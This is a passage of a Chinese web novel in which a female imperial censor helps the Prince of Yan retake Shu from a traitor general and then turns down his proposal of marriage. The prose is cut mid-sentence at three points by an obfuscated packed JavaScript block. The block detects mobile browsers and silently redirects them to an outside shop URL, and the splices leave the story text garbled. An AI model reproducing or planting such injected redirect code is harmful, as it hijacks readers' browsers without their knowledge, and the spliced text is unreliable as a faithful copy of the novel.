清晨天色未亮,城门外已经立起“定蜀安邦军”的大旗,百来位先行军官吏与燕王府上的幕僚尽数到齐。寒风卷着旗面猎猎作响,连带着军乐声也被吹得发颤,找不着调。
晏楚鹤被分到的黑马略显瘦削,但怎么也比她从前那头青驴要强。她换上贵妃给的女子骑装,背上朝廷里发的,用来装案牍的箱子,便驾马跟在燕王亲卫后,同司仓史、记录官几人在一排。在他们后面就是辎重车,里面装着干粮、军械什么的。
城门内外的百姓有来祈福送行的,也有对他们无动于衷,只怔怔望着西方的,倒叫人百感交集。
让晏楚鹤意外的是,除了保守派的同僚,路斐居然也来送行了。他们两个明面上姑且还是政敌,昨日夜宴一别,发生太多事……也不知道下次见面是什么时候。
她眼下也没机会问他,他最后说的到底是何意?“姑娘对我的用心,我能感受到”——这样大胆的话又是何意?
……结合此人过往种种,想来是也是骗人的吧。
晏楚鹤抬眼,看向面前的男子,温润如玉的长相,那双眼同梦中比,多的是藏不住的戾气。的样子多了些眼里藏不住的戾气,此刻看她的神色,与他看待其他保守派同僚时并无不同。
想来是碍于其他人在场。
晏楚鹤无暇顾及其他,只像以往对待其他政敌般:“路侯,离了本官,应该没什么人会给你的革新政策添堵吧?”
同僚们做足场面,夸她玩笑开得妙。夸她笑话讲的不错。路斐背对众人,说话里带着笑意,面上的神情与其说是祝福,不如说是好奇。
“我很期待楚御史和燕王可以做出什么,
——多多保重。”
——
行军的马车内陈设简朴,以一张木板作为临时桌案,上面铺了张舆图,正对着窦怀谦,晏楚鹤同另外一位青年幕僚同坐另一侧。
那位幕僚年纪三十左右,短髯修得齐整,头戴纶巾,一身素色深衣虽旧却浆洗得挺括,他指着图上路线,分析道:“古往今来,行军由洛阳入蜀,皆取此道。先入长安,沿子午谷道,再穿剑门关道,不仅稳妥,又能妥善准备后勤,一举多得。”
晏楚鹤的目光也落在那刺目的红线上,这是老皇帝拍板决定的路线。不过朝里稍微有点脑子的都知道其中弊端。
窦怀谦也不傻,这不,一离开京都就召他二人过来商议,只听那青年谋士又道:“今时不同往日,益州虽陷落,但境内必然存在溃散的官军、坚持抵抗的义军。自王将军败殁,我大夏前线已经处于权力真空、各自为战的混乱中。
因此,殿下的职责不仅是带兵打仗,更要迅速建立新的行营,收容溃兵,整合军备,重树旌旗。”
窦怀谦点头,将舆图转向晏楚鹤,笑着同她介绍:“季先生昨日便同本王讨论其中要害,今早便派先锋携诏书走关中蜀道的近路,尽快在战线附近建立行营,发布檄文,招揽散兵游勇。”
这便是第一路兵。
晏楚鹤微微颔首:“季先生倒是思虑周详。”
“楚御史过誉了,”季收这么说,却是脸朝另一边,半个眼神都不愿分给她,“在下不过是八品司马,区区雕虫小技,岂敢与您这位,以巾帼之身总揽监军要务的楚御史相较?”
好一个雕虫小技。晏楚鹤不怒反笑,眉梢轻佻:“如此说来,我竟算得季先生的上司了?不知季小兄弟对这三万新募之师,又有何高见?”
名叫季收的谋士原只是想随口嘲讽,想不到这雕匠出生的女子竟然这般厚颜,罔顾年岁资历直接借位份压他,偏偏她还真真官阶高过他,燕王殿下不发话的情况下,他确实没法还嘴,只好正色道:“回御史,这点下官和殿下昨夜也已有商议。”
燕王自己接话答道:“父皇做的决策也亦全非错事,若是三万新兵全由京城出发,开支大,恐怕到蜀地时已精疲力竭。如今由我亲率精锐禁军赴任,于途中汇合调拨之兵
——楚鹤,你看这条改良的路线图,虽然饶了点路,却可经过河东、朔方等地,亲晤节度使。父皇
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16807074|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
明面上只予三万,但若是拿出我燕王的名号,再使出我家幕僚的口才,想来能再添些人马。”
季收点头:“殿下所言在理,粮草之事亦同此。自洛阳陆路运粮,十石至蜀不过二三。不如走江东漕运,溯江而上。这是前朝的聪明做法,而今我等更进一步,先将不便运输的陈粮换钱,既可以使车队更为轻便,等到了益州附近,又凭着钱帛在当地富庶之处就地购粮……”
晏楚鹤越听越赞成,她对蜀地形势精熟,对那里的富户也算了解,也算是不谋而合。她又就几处关隘补给点提了修改,二人皆从善如流。
晏楚鹤的目光迟迟没从舆图上离开,忽而莞尔:“调兵不运兵,运粮不运人——能安排得这样妥当,您二位辛苦了。”
“楚鹤概括得也精妙,我这就记下来。”
“我也是从旁人那里听来的,”晏楚鹤说完,一抬头就看见窦怀谦正笑着看着她,时而又低下头写着什么,竟连连车马颠簸也浑然不觉。
此人确实是个明君……很爱笑的明君。
晏楚鹤做完判断,只觉得被盯太久有些不自在:“殿下?”
窦怀谦蓦地回神,仓促移开视线,耳根微不可察地泛了红,随即低咳一声,胡乱找着话题:“本王只是突然有点好奇……能教出楚鹤你这般厉害人物,你的师父该是个怎样厉害的人?”
师父?比起随口编的孤鹤大师,晏楚鹤下意识照着另一个人描述:“他啊,待我极好,通晓许多事,偏偏认死理……但,又有许多副面孔,让人疑惑到底哪个才是真正的他。”
“这般有趣的人,若有机会,本王定当携礼拜见。”
一旁的季收暗自皱眉,他不久前才同殿下强调这楚御史的师父不久前病故……哎!
他正要帮忙解释,却见这楚御史竟也浅笑着答道:“好啊。”
三人还要继续,车驾却突然停住。窦怀谦当即掀开帘子,同随从低语几句,又向他二人道:“前面路上有群饥民,本王打算亲自出面,你们在车上便是。”
晏楚鹤还未开口,季收像是对自家王爷的脾性习以为常,先一步答道:“殿下一片仁心,但请当心……”
窦怀谦朝他们又是一笑,不用人扶,便利落地下了车。此刻无事可做,晏楚鹤便从口袋中取出油纸包好的点心,那是几枚今早刘霜清给的精巧点心。
接下来,怕是有一段时日吃不到了。
晏楚鹤刚拈起一枚,正要细细品味,又见余光内忽伸来一只手,径直将上半截酥皮莲蓉夺了去
她自身全无防备,只凭本能发力握紧,亏她有点力气,这才留住半截。
啧。
“贵妃娘娘待您,可真是厚道。”已将那半枚酥点径直送入口中。方才温文儒雅的谋士仪态荡然无存,他慢条斯理地咀嚼,取出素帕拭去指尖沾上的碎屑,全然不把晏楚鹤沉下的脸色放在眼里。
“毕竟一个妇人确实容易被同类说动,妇人之见是相通的——楚女官,战场可非同宫里女子打斗,待真见了吐蕃数十万铁骑,你最好能展现出什么真本事,女官大人。”
他显然不认为这一战能胜,此刻眼底最后一点伪饰的温文也敛去了:“毕竟,危难关头,臣等只会护殿下一人周全。您就自求多福吧。”
17. 运筹倚蜀地
晏楚鹤深吸了口气,抬眼重新望过去:“季司马这变脸的本事,蜀地人来了都要自愧不如。”
她音调平稳,慢慢将剩下的点心收起:“依本官看,坐井观天,见识短浅的另有其人。你不过一介手无缚鸡之力的谋士,拿什么保燕王万全?刀剑无眼,季司马莫不是真的以为,到了全军溃败,你我都不能独善其身的情况下,燕王作为统帅还有活路?”
啧,这种人怎么敢瞧不起她和刘霜清啊。
晏楚鹤随意掀开帘子透气,见窦怀谦仍在远处同旁人交谈,一副正人君子作派。她将帘子拉回去,继续道:“再者,接管镇西军罚蜀一事,并非我请求,而是是你家燕王殿下自己要来的。”
那季收立刻换了副嘴脸,道:“燕王殿下生性纯孝仁厚,我等幕僚已竭尽心力辅佐多年,以少胜多的制胜奇策可不是没有。倒是楚御史——”
“季司马喜欢打断上官的毛病,可算不得好僚佐。”晏楚鹤说着,忽从袋中取出另一包物件,看也不看便直直投掷过去,又道:“下回若是嘴馋,直接同本官说便是。我做上司一向体谅下属晚辈。”
季收确实速度够快,他下意识想接住,但在力量上似乎和晏楚鹤这个从小玩刀工使巧劲的人没得比。他虽然接住了,只觉手被震的闷痛,只好强自镇定地收手置于膝上,面色好不难堪。
晏楚鹤见状,此刻气已顺了大半。这谋士疑她,倒也算情理之中。在外人看来,怂恿燕王赴蜀,与送死无异。
只是这人两副面孔,燕王前脚刚走便来恐吓,实在惹厌。她懒得再多费唇舌,索性靠向车壁独自闭目养神。
“我已经将饥民们安置好,稍后路侯爷的人便会来处理,”窦怀谦掀开帘子回到车内,一眼便瞧见这两人各占据车厢一端,中间留了好大的空位,不禁又是一笑:“我还以为你二位定会相谈甚欢呢。”
季收想开口,偏偏手上还在疼,便作罢。谁料晏楚鹤先一步直接应道:“殿下,我方才同季司马聊到,吐蕃拥兵数十万,而我军初至,兵力悬殊。欲收复失地,确非易事。”
“不错,”窦怀谦敛了笑意,正色道,“还需要等今夜幕僚将王家残部带回的军情整理明晰,方能再做考量。”
晏楚鹤摇头,从腰包里拿出一份新的舆图,于木板上徐徐铺开:“这是我昨夜据各方讯息推演,第一时间所绘。依臣推断——”她指尖落向图上一处关隘,“王将军全军覆没之役,当在此地,绵竹关。”
她略微停顿,坦然迎上窦怀谦眼中升起的赞赏,继续道:“因这王将军溃败地仓促,传回军报分散,多有矛盾之处。幸而我在蜀中尚有几位师父的旧友,多方印证,这才连夜拼凑出大概情状。”
晏楚鹤将梦中的信息用胡编乱造的理由交代清楚,随即沿着绵竹关在的山脉划去:“吐蕃当日突袭用兵,乃是三路并进。山脊、峡口、河口三处皆有伏兵,王将军求胜心切,为了追敌直冲谷地,正面强攻自然被伏兵夹击,而后昏招频出,这才兵败。”
吐蕃会拿出类似的策略对付他们这些援军。
季收眼里闪过惊讶,再也顾不得其他,倾身细看图卷,脱口道:“殿下,我们几位幕僚目前猜测的,也和这个情况大概相通,只是——”
他的目光紧紧粘在舆图边缘,那些密密麻麻,写得只能算是中庸的小字批注里,居然几乎囊尽了吐蕃军兵力调配的各种可能,以及地势情况,且环环相扣,严丝合缝。
……想来,此女背后还有高手!莫非,传言中她那个名动京师的师父没死?!
“季司马以为若是这镇西军将领,会如何做?”晏楚鹤的声音唤回季收的心绪。
他凝神,指向图中一处,笑道:“舆图上,楚御史不是已经批注清楚了?峡谷内有隐蔽小道可迂回,。蜀道千年来一直由汉家经营,此等密径蕃人未必尽数掌握。莫非……”他话锋一转,抬眼正要试探——这舆图字迹并非出自楚御史?
不过他话还没说出口,却听到晏楚鹤重重地叹了口气,像是懒得回答他,对他的答案很不满意一样。偏偏她又停下,不说原因,恼人得很。
好在窦怀谦及时开口,他温声看向晏楚鹤:“楚鹤何故叹气?”
晏楚鹤将舆图收起,又是叹气:“您二位以为王将军是怎么败的?这些所谓“密径”“小道”,恐怕早就被蕃人掌握。”
毕竟王将军全军溃败,乱作一团,传讯的人根本不知道真正的败因。
“你是说——”燕王主仆皆是瞳孔紧缩,面露不可置信。
“有叛徒。”
——
晏楚鹤的梦里,吐蕃之所以能战胜王将军,不仅收下蜀地,甚至几度搅动大夏风云。其中还有个关键人物——投敌的吴副将。此人精通王将军所有谋略,对于大夏的援军也相当了解。
不仅如此,这位吴副将的手段狠辣又精妙。益州如今全权由他主导,在入城之处,此人先是纵容吐蕃士兵烧杀抢掠示威,借机当地反抗的乡兵给处理了——亲眷尚在的还只是关押刑拷一番,无亲无故的,则干脆利落斩草除根。如此,抵抗的力量被一网打尽,益州从此尽在此人掌握之中。
这位吴副将的聪明又远不止于此,他做完这一切,益州城内正是血色弥漫,人心溃散。吴副将抓住时机,不知道使了什么法子,亲手将几名蹂躏百姓最甚的吐蕃兵卒绑赴刑场,再又给百姓免赋税,开坛讲经,沿用旧官,简直不要太得民心。
攻心计,最难应对。
此人必须先除掉。
路途遥远,连日来,晏楚鹤同燕王的幕僚诸臣反复推演,讨论良多。他们也不知道先遣部队如今是何情况,只能把所有可能一一剖析,皆作考量。晏楚鹤也没隐瞒,她把自己知道的吐蕃那些战略细细阐明,好叫众幕僚提前想到应对之策。
现如今,益州守备森严,强攻绝不可行。不能从那里下手——不过,其他地方的话,
蜀地眼下目之所及,皆是蕃人旌旗,看似铁板一块,严防死守。不过亦不足虑。毕竟敌在明处,他们这些援兵在暗处,为了周全守住这千里蜀道,吐蕃一定会分散兵力把守。
既如此,兵力必分强弱,在这漫长的群山中,必然存在被忽视的角落,他们只需要逮住薄弱处。
问题是,薄弱处会是哪里?他们尚未抵达,又如何能提前判断,准备?
晏楚鹤知晓。
又过几日,
军帐内,烛火摇曳,众人的身影映照在那副大小夸张舆图上,同山脉线条相叠。
如何入蜀,第一战要怎么打,已经是迫在眉睫的议题。
窦怀谦的谋士提出不同建议,而晏楚鹤要做的,就算加码最可靠,最能解决她梦中情况的那一条。说起来,窦怀谦对她十分信任,晏楚鹤准备的各种说辞都没怎么派上用场,她选的意见便被采用。
佯攻剑门关。
剑门关,乃过去蜀汉诸葛孔明所设,地势险要,乃兵家必争之地。季收确实这样分析:“既然已经知晓,此地乃是诸葛武侯倚仗的天险。正因太过险要,吐蕃必以为我军不敢正觑。兵法有云……结合探子情报,想来他们主力定然布防于他处,此处守备空虚。我军若能集结精锐,星夜奇袭,一举夺回这天下名关,则声威大震,入蜀门户洞开,大势可定!”
晏楚鹤的意见完全相反,她并非故意和季收作对,只是此人运气倒霉,恰好和敌人想到一块:“剑门之险,天下皆知。吴副将深谙我军急于求胜、欲夺声威的心理,故意放出所谓守备松懈的假情报,便是专候我等自投罗网。”
“楚鹤所言在理。”
“既如此,何不将计就计?”
是夜,剑门关前忽起冲霄火光,战鼓雷动。季收顶盔贯甲,一副主帅打扮,让人误以为他就是燕王窦怀谦。他身后身旁又是上万的兵马大张旗鼓列阵关下,佯作强攻之势。火箭如流星般划过夜幕,射向关墙,呐喊声震彻山谷,却又始终保持距离,未见一滴鲜血。
与此同时,晏楚鹤正跟随真正的窦怀谦,带领数千名精挑细选的锐卒穿越蜀道:“此路崎岖,乃是地图所未曾记载,不过臣擅长雕刻,深谙土石之道,这石上的色泽深浅便是天然路标。”
晏楚鹤在行军路上就曾带队成功穿行险途,因而深得信任。是以,众人依靠她对地形的熟悉,悄无声息地打入敌人腹部。
这日清晨,江油关守军尚在懵懂之中,关门忽被自内而外轰然撞开。窦怀谦的旗帜就这样出现在关墙之上——守军猝不及防,顷刻溃散。第一战就此大捷。
江油关易主的消息,比春风更快传遍蜀北。窦怀谦坐镇关内,先同先遣部
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812889|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
队汇合,广纳溃散的王家军残部。数不胜数的逃兵进了燕王麾下,明面上的兵力骤增。
接着由谋士劝说,窦怀谦倒是自行做主,连发数道檄文。内容大概是对被俘地区百姓免三年赋税,又许诺诸多好处。晏楚鹤很好奇他回洛阳后要怎么向他父皇解释。另一项则是让最善文墨的人写了篇讨伐吴副将的檄文,直指其“杀义士以媚吐蕃,屠仁者以固权位。”文字巧妙至极,且字字如刀,句句诛心,让人读来感同身受,恨不能亲自手刃这卖国贼。
窦怀谦到处发檄文的日子里,晏楚鹤也自前线回营,参与帐中谋略。此后月余,唐军如灵蛇游走神出鬼没,如同开了天眼般,专击吐蕃软肋。虽说只是赢了几场无关痛痒的小地方,已然士气高涨。周围的两镇节度使不知出于何种考量,居然也给窦怀谦送来了援兵。
尽管如此,人数的差距还是难以抹平。帐中诸将都心知肚明,吐蕃主力与吴副将经营的绵竹关依旧如山横亘,益州城内的情报依旧如雾里观花。
决战还需要一个契机。
“如今江油关在手,可直扑绵竹。此关虽险,但我军挟连胜之威,可效仿古法,以精兵强攻一点,未必不能破。”依旧是夜里行军商讨,季收提出意见时已不再看向窦怀谦,而是以晏楚鹤为先。这个女人实在是太有来头了,他实在是后悔一开始没同她打好关系。
王将军的旧部,如今归顺窦怀谦的人急忙答道:“不可。那姓吴的最擅长的,便是请君入瓮。绵竹关经他数月经营,必是铁桶一般,处处布满针对我军旧日战法的陷阱。强攻可是正中其下怀啊!殿下,三思!”
“不如将敌人困死这关内,吐蕃要是想包围我们,一定只能从外面的原野地带调兵——多亏楚御史,我等对绵竹山一脉了如指掌,野战伏击歼敌远比攻城容易。”
晏楚鹤点头,却是眉头紧皱,又听到窦怀谦开口:“再说回夺关。非常之时,当行非常之事。楚鹤日前察勘山地,因石色、岩质迥异,于绵竹关东北麓发现了一条樵采古径,乃是地图未载,”
窦怀谦说得像是自己发现的一样,颇为得意,道,“本王已经派人进去了。攻心之计,可不只是他吴滢会用。”
此后数日,窦怀谦听了季收的话又命人,将先前那篇“杀义士以媚吐蕃,屠仁者以固权位”的檄文抄写无数份,用箭日夜射入绵竹关、益州、成都县内,和之前比,添了些新句子,如“只诛吴逆,不问胁从。”“献关者赏,擒吴者封侯。”“王师至此,唯愿蜀中父老复见天日,免赋役之苦。”
又是一夜,奇袭。
关内数处要害,乃至益州,成都县内突然起火,潜入已久的士兵们得到指令,动手了。与此同时,绵竹关外,夏军战鼓响起,蓄势已久的精锐居然精准地判断出吐蕃援军的方位,一一围剿。
窦怀谦的面相配上“降者不杀”的口号,本就已经让人极为信服。再加上他让通晓吐蕃语的士兵在阵前胡乱造谣,高喊些:“吴副将已与唐军议和,特令尔等前来送死!”“益州已收复,尔等归路已断!”两边统帅被刻意对比,真假难辨的呼喊如同海啸,直冲吐蕃军阵。
这些声音在晏楚鹤耳边乱作一团。
惨叫声、怒骂声、骨头碎裂声。
同她梦中的竟无半分差别。
她机械地格挡、刺击,刀锋没入血肉的黏滞感让人胃里翻腾——她过盛的记忆力将会将这种感觉永久封存。什么精巧刀工、预知梦境,在这片战场上显得苍白可笑。
个人武艺再高强又如何?前朝多少惊才绝艳的武林侠客为了家国牺牲,她又算得了什么。
她又杀人了,
恶心感并非来自鲜血本身,而是——晏楚鹤说不出来,她分神看向不远处,除了首战以外,这是她第一次真正意义上与窦怀谦并肩站在战场上。
那位年轻的王爷正纵马冲杀,甲胄染血,手中长剑挥舞出凌厉的弧光,所过之处敌兵披靡。火光映亮他半张侧脸,那上面竟隐约带着一种……近乎炽烈的、属于征服者的昂然神采。
潇洒、不羁、快意,
他脸上居然还挂着那副笑容
晏楚鹤只觉得手脚发凉,这样的景象叫人难受,她仓皇地翻身上马,沿与大军相反的方向疾驰而去。
无论如何,益州已经近在眼前。
18. 驾驭英杰才
破开的突围口内,晏楚鹤正一马当先。她被安排在这时候,趁着混乱突袭进入益州。
死士在内应带领下,直扑城门守军。他们在关内四处纵火,高喊“城破了!大夏军主力杀进来了!”嘈杂回声在夜色中滚动,搅得整个益州仓皇失序。
晏楚鹤已经重拾心情,无暇为这样的景象难过了。
如今,她最熟悉益州。
能否拿下绵竹关,全在于她能否擒下那位吴副将,
吴滢。
——
这一夜,独坐高楼的吴滢,想起了很多年前初入镇西军的情形。
“清远小兄弟,”已故的王将军拍了拍雄浑的关墙,声如洪钟,叫着他的小字,“你看这地势,天险!只要粮草充足,守上三年五载不成问题。什么兵法谋略,在绝对的地势面前,都是花架子。”
吴滢当时躬身应是,心里自然不服气,王将军只看得到这些,他看不到城墙失修的角落,看不到这剑门关疲敝的士卒,贫穷的百姓。
事实上,王将军看不到的远远不止这些。整个镇西军从上至下都充斥着那股歪风,功劳簿上永远是随意地,固定的那几个姓氏……或许,他们这些有志向的青年一开始并不会多在意,想着能施展抱负,保家卫国便好。可,在军议上,自己提出的意见被主将随意否决,被那些世家子弟嘲笑,拜高踩低的风气一下子就能将人压得喘不过气来。
当然,不同于其他凭着机敏和苦读爬上来的聪明人,吴滢的家族也曾显贵一时,祖上亦曾位列公爵,他的字“清远”更是老武昌侯所亲起的。
正因如此,他比其他人更清楚这些世家大族有多少血污。在看到王将军把城内医生都强征入镇西军,而他平日说是“如手足”的部下因妻子患了怪病而走投无路,求问军中医官时,那姓王的竟是抚掌一笑,对着在战场上为他出生入死的下属随意道:“军中医官,岂可为家事随意离营?我让账房支二十两银子,你速速派人去其他州县罢!”
忠诚、才华、甚至鲜血,到头来只能换几十两银钱。
吴滢有幸目睹了一场人为扩大的龙爬坡。听说只是王家人同镇西军要抓个孤女,借条商路,居然前后出动好几拨人马,不惜借天灾灭口。
从军、打仗的目的不是为了保护平民?又是什么?
……
战士军前半死生,美人帐下犹歌舞。
前线、边疆、村庄,最该与百姓同甘共苦的地方尚且如此——他出身京城,对那些世家大族,当今皇帝有多恶劣,再了解不过。
大夏已无药可救,王将军亦不值得信赖,这场仗再打下去,就算侥幸没有全军覆没,不过也是维持现状——
因此,当吐蕃的密使私下找到他时,他内心的挣扎远比外人想象的要短暂。对方没有许诺高官厚禄,只是平静地说:“我们的大论研究过你的策论……”
吐蕃愿意谈条件,至少能保住自己。他没有妻妾子女,他的家族同王家交好勾连,蛇鼠一窝,没了就没了吧。
大夏和王家很快也会一起消失。
——
城门内外火光乱舞,呐喊声震得关楼梁木作响。死士已经在内应的带领下,将城门附近搅得天翻地覆。
晏楚鹤一骑破入城内,马蹄踏过溅落的灯油火星,衣襟在风中猎猎作响。她避开追兵,弃马跳上屋檐,径直朝城中东南角奔去。
她知道吴滢在那里。
旧时都督府在火光映照下,楼阁轮廓宛如蹲伏的巨兽。楼内未点灯,却因火光跳动自有一番光亮。那位叛将,吴滢凭栏而立,此刻身着半旧、宽松的镇西军文吏青袍。他面前的火盆里,想来事关紧要的纸张正化为灰烬。
晏楚鹤按着佩剑,她是一路赶进来的。如今城内打乱,找吴滢寻仇的人恐怕不在少数。如她所想,满地的尸体在不久前还属于一群看不惯吴滢的吐蕃士兵。
“你真是临危不惧,这个时候还能杀人。”晏楚鹤停在门口,吴滢没穿吐蕃官服,又杀了吐蕃士兵,她不知道此人到底在作何打算。
“小点声,””沙哑的声音自面前身影发出,“楼上——我收留了些亡了父母的孩子,别吓着他们。
晏楚鹤闻言,更大声了:“他们为何会失去父母,不用我多言。”
吴滢却是突然轻笑,自顾自地说道:“既知道潜入益州的小路,又能神机妙算,猜到我全部部署,眼下更是寻到了这里,我的藏身处——燕王可真是有神仙相助啊。”
“神仙?过誉了。我不仅知道这些,”晏楚鹤顿了顿,她很确认,但还是要重新审视一番,
眼前这位“吴滢”,三十岁左右的模样,眉目深刻得像刀锋削出来,鼻梁狭直,下颌线锋利得近乎刻薄,却又清瘦而沉静,自带一股冷意。那身青袍松松垂着,骨架不算魁梧,却给人一种锋芒藏在暗处的压迫。
和梦里一模一样,此人从头到脚,从她进门到现在,自始至终都全是伪装。
“——我还知道,你是女子。”
晏楚鹤语气笃定,对面这位将军终于赏给她个正脸,语气里比方才多了分讥讽。
“你这女官,倒是比神仙还厉害。”吴滢那槁木般的神色里,只眼底燃了团火:“事到如今,男女之事又如何?
王将军是男的,被我斗死了,燕王是男的,全靠你这神仙相助,不然早就死了。这些吐蕃人也全是男的,照样不敌我。
今日大夏军千辛万苦,就是为了派一个同为女子的你进来说服我?绵竹关易守难攻,你们能潜入的人再怎么出其不意,也支撑不了太久——你打算怎么做?用女子的身份劝说我。”
“你作为高阳世家吴家这一代唯一的嫡系子嗣,不得不女扮男装参军,重整门楣……你很透了你的家族。”
“是又如何?我对楚御史久仰大名,没想到也不过是个口舌之辈。”
晏楚鹤淡定地摇头:“吴滢,我不是要说服你——”
晏楚鹤一步步逼近,站到火盆边缘,目光完全笼罩住吴滢。
“我来,是告诉你一件事。
于我而言,就在刚刚,绵竹关已经拿回来了。你的棋局,到此为止。”晏楚鹤随手拿起一封信纸。
吴滢控制住发抖的声线,只盯着她手上那封熟悉的信件:“……你又知道了哪一处?”
“你向吐蕃传递的信件,我早已全部截断。”晏楚鹤道,“你那些暗道——我姑且当是给百姓的,我会好好利用的,至于你自己的后路——”
那封信件坠入火盆。
晏楚鹤看着对方变幻的神色,继续胡扯恐吓道:“毕竟同为女子——到底要不要这条后路,取决于你。”
火光跳动,益州的战事在这夜宣告结束。
——
离他们从京城出发到现在,已经过去了五个月。
新一年的春天不再有天灾与战乱。连绵的霖雨让蜀地恢复了生机。
岷山,那座道路崎岖的荒山。她上一次来这还是大半年前,那时她还是刚死了父母,满心迷茫,任由吴老二夫妇磋磨的孤女。现如今,吴家村的人已经尽数迁走,他父母的坟却幸运地还保存在这。
晏楚鹤利落地清理了泥土杂草,简单烧了些钱控制火势,风太大,火和烟因此更猛,熏着眼睛难受。她从前烧纸钱时,都是爹在身边陪着的,娘会在屋里坐着,笑眯眯低看着她,手上不知道在写些什么。
她眨了眨酸涩的眼,里面的水珠子不自觉落下来了。
……等回去,就把王家彻底铲除。
晏楚鹤随手擦干眼泪——她真想一个人难过大哭一场,偏偏有人不让她这样:“不过是烧纸钱罢了,燕王殿下还要看多久?”
“抱歉。我只是——”燕王愣了愣,正要解释,他并不想干扰她。
晏楚鹤打断道:“没事,我已经搞定了,重新上路吧。”
成都。
晏楚鹤如今是随军楚御史,同姓晏的富商,寡妇没有认识的理由。因此,要避开人给外祖父和小姨送信虽然麻烦,但也算解决了。
麻烦的不止一件事啊。
成都百姓为了庆祝,举办了晚宴,简朴,热闹。
窦怀谦很得民心,在战争中英勇无畏,同士兵共患难的样子被百姓看在眼里,如今很受百姓爱戴。因而他站在城墙上时,成都内的居民们也齐齐举杯同乐。这一幕要是传到老皇帝耳朵里,怕是另外一幅情形。但窦怀谦如今却敢这么做,自有他的道理。
无人看好的战争胜利了——燕王已经赢了。
天下,或许终于要迎来一个太平的结局了。
晏楚鹤想着,摇晃着手里的酒杯,月亮映在杯中都如此梦幻。今夜的月真圆啊。
京中的友人,也在赏月吗?
路斐……现在有没有更像她认识的那个样子?
前几日她刚同他通了信件,他果然在推行她曾反对的新政策,还想出了说服她的理由,解决新政弊病的方法——她说过的话他全都在意。
说是如此,他现在估计满脑子都在盘算如何算计、利用这位燕王吧?
“楚鹤?”轻声唤住她的人正是燕王,“今夜月色真美。”
“嗯,”晏楚鹤漫不经心地回答道,“风寒,殿下早些休息。”
沉默。
这人怎么
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812890|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还没走?莫不是是醉酒?不可能,窦怀谦此人她相处半年,同他的父母一样,晏楚鹤还算了解。这位皇子素来只有上战场前会小酌,刚刚的庆功宴,他也只是抿了一小口——
窦怀谦突然往她凑近了一步,两人靠得极近。
晏楚鹤看得清他低垂的眼睑,细长的睫毛在脸上扫下的倒影。旁人眼中无所不能,少年天才的王爷此刻靠着城墙,耷拉着肩膀,透着棕色的长发扎得利落,随风飘荡。
明明嘴角还挂着笑容,却让人觉得——他好像很难过。
“……楚鹤。出发前,父皇曾给我赐过婚。”
“莫不是曹、刘两家的小姐?”
“是你。”
“我?”晏楚鹤自然是尴尬地笑了笑,“陛下就喜欢乱点鸳鸯谱。还好您拒绝了。”
晏楚鹤说完就想走,窦怀谦却没有——骨子里那点绅士礼节让他收回来想要拉住她的手——他飞快地窜到晏楚鹤另一边,挡住了她的退路。
她鲜少看到他这般狼狈的样子,也鲜少在他面前这般尴尬。
这副好容颜也会有这样真正担忧的神情啊。
“我是愿意的、我只是希望,能是在你也愿意的前提下——楚御史在我心中是极好看的。当然,楚姑娘和我志趣相投。如果一定要成婚,我希望是楚姑娘这样的人。”
直白的表白,突然变换的称呼,此人身上明明没有酒气,做出的事情却是这般——晏楚鹤脱不了身,不知道为什么,
明明是并肩作战的战友,
明明是愿意效力的明君,
明明是她很欣赏的品性,
明明有这么多同意的理由,晏楚鹤就是不想选这条路……
晏楚鹤看着这双近在咫尺,充满期盼,足以让万千少男少女心动的凤眼——是她很欣赏的容貌,像极了刘霜清,却也有点老皇帝的神韵。
那眼底的傲慢,上位者的傲慢藏得比景安帝要深得多。她突然想起战场上,他对着敌人肆意杀戮的样子。
她不觉得他们志趣相投。
“殿下厚爱,臣愧不敢当,兹事体大,还请三思。”晏楚鹤说完,便趁着对方怔愣,快步离开了。
……
她漫无目的地走着,直到水声潺潺,方在锦江畔停下。
战火方熄,沿岸一片萧条。空气里还浮着散不去的淡淡腥气,混杂着泥土与草木灰烬的味道。江水浑黄,裹挟着断木、碎布,乃至一些难以细辨的残破之物。
这样的景象居然让她平静了不少。她心底那些少女心思忧虑,因拒绝而生的愧疚也消散了不少。
手脚被江风吹得冰凉,她的思绪愈发清晰。晏楚鹤又想起战场上的事——窦怀谦到底在笑什么?又在傲慢什么?
……他能傲慢得说来也太多了,在战场上那般肆意,收入囊中的功绩,已然在望的东宫之位。
可,辅佐他,让他获得这些、能够如此傲慢的人——正是她晏楚鹤。
晏楚鹤毫无疑问是这场战争的关键。
因此,归根结底,她帮他铸就一切,他却傲慢地,打着报恩的名义要娶了她?要让她同刘霜清般被困在深宫中一辈子——这是报仇吧?
